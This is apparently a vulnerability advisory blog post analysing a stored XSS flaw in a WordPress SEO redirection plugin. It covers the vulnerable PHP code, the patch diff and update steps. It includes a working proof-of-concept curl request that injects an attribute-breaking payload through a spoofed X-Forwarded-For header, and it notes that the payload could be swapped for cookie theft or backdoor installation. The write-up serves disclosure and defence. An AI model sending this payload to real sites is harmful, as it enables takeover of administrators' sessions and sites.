CVE-2026-52702: SEO Redirection Unauthenticated Stored XSS (CVSS 7.2)
Table of Contents
CVE-2026-52702 is a CVSS 7.2 High Unauthenticated Stored Cross-Site Scripting vulnerability in the SEO Redirection Plugin – 301 Redirect Manager WordPress plugin. An unauthenticated attacker can inject a malicious JavaScript payload into the site’s 404 error log by spoofing the X-Forwarded-For or Client-IP HTTP header. The script executes automatically when an administrator views the 404 Errors dashboard.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | SEO Redirection Plugin – 301 Redirect Manager |
| Plugin Slug | seo-redirection |
| CVE ID | CVE-2026-52702 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting |
| Affected Versions | <= 9.17 |
| Patched Version | 9.18 |
| Published | June 12, 2026 |
| Researcher | dodoh4t |
| Wordfence Advisory | Link |
Description
The SEO Redirection Plugin – 301 Redirect Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 9.17 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
Technical Analysis
How the 404 Error Logger Works
The plugin tracks every 404 error on your site. When a visitor hits a missing page, the plugin calls WPSR_log_404_redirection() in seo-redirection.php. This function logs the visitor’s IP address, browser, operating system, and the URL they requested.
The IP address comes from get_visitor_IP() in common/util.php. This function reads the HTTP request headers to find the visitor’s IP. It checks three headers in priority order:
HTTP_CLIENT_IPHTTP_X_FORWARDED_FORREMOTE_ADDR(the actual connection IP)
Because HTTP_CLIENT_IP and HTTP_X_FORWARDED_FOR are regular HTTP headers, any attacker can set them to any value. No proxy or special network position is required.
The Sanitization Failure
In version 9.17, the only protection applied to the IP value is sanitize_text_field():
// common/util.php — vulnerable version 9.17
public function get_visitor_IP()
{
$ipaddress = sanitize_text_field($_SERVER['REMOTE_ADDR']);
if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
$ipaddress = sanitize_text_field($_SERVER['HTTP_CLIENT_IP']);
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ipaddress = sanitize_text_field($_SERVER['HTTP_X_FORWARDED_FOR']);
}
return sanitize_text_field($ipaddress);
}
sanitize_text_field() strips HTML tags. However, it does not validate that the value is a real IP address. It also does not encode HTML special characters like double quotes (") or event handler attributes.
A payload like x" onclick="alert(1) contains no HTML tags. It passes through sanitize_text_field() completely unchanged.
The sanitized-but-malicious value is then stored in the database via a prepared statement:
// seo-redirection.php — line 596
$wpdb->query($wpdb->prepare(
"INSERT IGNORE INTO $table_name(ctime,link,referrer,ip,country,os,browser)
VALUES(NOW(),%s,%s,%s,%s,%s,%s)",
$link, $referrer, $ip, $country, $os, $browser
));
$wpdb->prepare() with %s prevents SQL injection. But it stores the raw string value faithfully — the XSS payload — in the ip column.
The Unsafe Output in the Admin Dashboard
When an administrator opens the 404 Errors tab (Settings → SEO Redirection → 404), the plugin reads the stored IP values and renders them into an HTML template. This happens in options/option_page_404.php:
// options/option_page_404.php — line 160 (default path, ip_logging_status == 1)
$grid->add_html_col(
'<a target="_blank" href="https://tools.keycdn.com/geo?host={db_ip}">{db_ip}</a>',
__('IP', 'seo-redirection')
);
The {db_ip} placeholder appears twice in the template — once inside the href attribute and once as the link text. The placeholder is replaced by the raw database value in datagrid.class.php:
// common/controls/datagrid.class.php — line 445 (vulnerable version)
$html = str_ireplace('{' . $key_var . '}', ${$key_var} ?? '', $html);
No output escaping is applied. The database value is injected directly into the HTML string.
End-to-End Exploit Chain
With x" onclick="alert(1) stored in the database, the template renders as:
<!-- Expected safe output -->
<a target="_blank" href="https://tools.keycdn.com/geo?host=1.2.3.4">1.2.3.4</a>
<!-- Actual output with the malicious IP -->
<a target="_blank" href="https://tools.keycdn.com/geo?host=x" onclick="alert(1)">x" onclick="alert(1)</a>
The onclick attribute breaks out of the href value and attaches a JavaScript event handler to the anchor element. Any administrator who clicks the IP link in the 404 Errors table triggers the injected code.
Logging Prerequisites
The WPSR_log_404_redirection() function only logs requests when the visitor’s OS or browser can be identified from the User-Agent. A standard Chrome or Firefox User-Agent satisfies this condition. The function also requires Accept and Accept-Language headers to be present, and the User-Agent must not match known bot strings.
All of these conditions are easy to satisfy from a curl request.
Default Configuration
The ip_logging_status option defaults to 1 (full IP logging) on every new installation. In this mode, the vulnerable add_html_col() template path is always active.
Proof of Concept
Disclaimer: This PoC is for educational purposes only. Test only on systems you own or have written permission to test.
Prerequisites:
- SEO Redirection Plugin activated, version <= 9.17
ip_logging_statusset to1(default)- Target site accessible over HTTP/HTTPS
Step 1 — Inject the payload via a 404 request:
curl -s -o /dev/null \
-H 'X-Forwarded-For: x" onclick="alert(1)' \
-H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' \
-H 'Accept-Language: en-US,en;q=0.5' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36' \
'https://TARGET-SITE.com/this-page-does-not-exist-xss-test'
This request hits a non-existent URL, triggering a 404. The plugin logs it and stores x" onclick="alert(1) as the visitor IP. No authentication is required.
Step 2 — Trigger the XSS as an administrator:
Log in to the WordPress admin panel. Navigate to:
Settings → SEO Redirection → 404 tab
Find the logged entry with the spoofed IP. Click on the IP link in the table. The onclick handler fires and alert(1) executes in the admin browser session.
Step 3 — Verify exploitation:
The browser displays an alert dialog. A real attacker would replace alert(1) with a payload that steals the admin’s session cookie, creates a rogue admin account, or installs a backdoor plugin.
Payload length note: The ip database column is varchar(20). The payload x" onclick="alert(1) is exactly 20 characters and fits without truncation.
Patch Analysis
Version 9.18 introduces two security fixes.
Fix 1 — IP address validation (common/util.php):
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- $ipaddress = sanitize_text_field($_SERVER['HTTP_X_FORWARDED_FOR']);
+ // X-Forwarded-For may contain a comma-separated list; take the first entry.
+ $forwarded = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
+ $ipaddress = sanitize_text_field(trim($forwarded[0]));
}
- return sanitize_text_field($ipaddress);
+ // Security: validate that the value is actually an IP address.
+ // sanitize_text_field() does not strip HTML attribute breakers like
+ // double quotes or event-handler payloads, which previously allowed
+ // stored XSS when the IP was rendered in the admin dashboard.
+ if (!filter_var($ipaddress, FILTER_VALIDATE_IP)) {
+ $ipaddress = '';
+ }
+
+ return $ipaddress;
filter_var($ipaddress, FILTER_VALIDATE_IP) rejects any value that is not a valid IPv4 or IPv6 address. Payloads like x" onclick="alert(1) fail this check. The function returns an empty string instead. Nothing malicious is stored in the database.
Fix 2 — Output escaping in the datagrid (common/controls/datagrid.class.php):
- $html = str_ireplace('{' . $key_var . '}', ${$key_var} ?? '', $html);
+ // Security: escape DB values before injecting them into HTML.
+ // Values like {db_ip} are placed inside both HTML attributes
+ // and text content; esc_attr() is safe for both.
+ $html = str_ireplace('{' . $key_var . '}', esc_attr(${$key_var} ?? ''), $html);
esc_attr() encodes " as ", which prevents breakout from the HTML attribute context. Even if a malicious value somehow reached the database, it would render as safe visible text rather than executable HTML.
Fix 1 is the primary defense — it stops malicious values at the input. Fix 2 is defense-in-depth — it stops them at the output.
Timeline
| Date | Event |
|---|---|
| June 12, 2026 | Vulnerability publicly disclosed by Wordfence |
| June 12, 2026 | Patched version 9.18 released |
| June 15, 2026 | Advisory last updated |
| June 17, 2026 | This blog post published |
Remediation
Update the SEO Redirection Plugin to version 9.18 or newer immediately.
- In your WordPress admin, go to Plugins → Installed Plugins.
- Find SEO Redirection Plugin – 301 Redirect Manager.
- Click Update Now.
After updating, clear any existing 404 log entries that may contain injected payloads. Go to Settings → SEO Redirection → 404 and use the Delete button to remove old entries.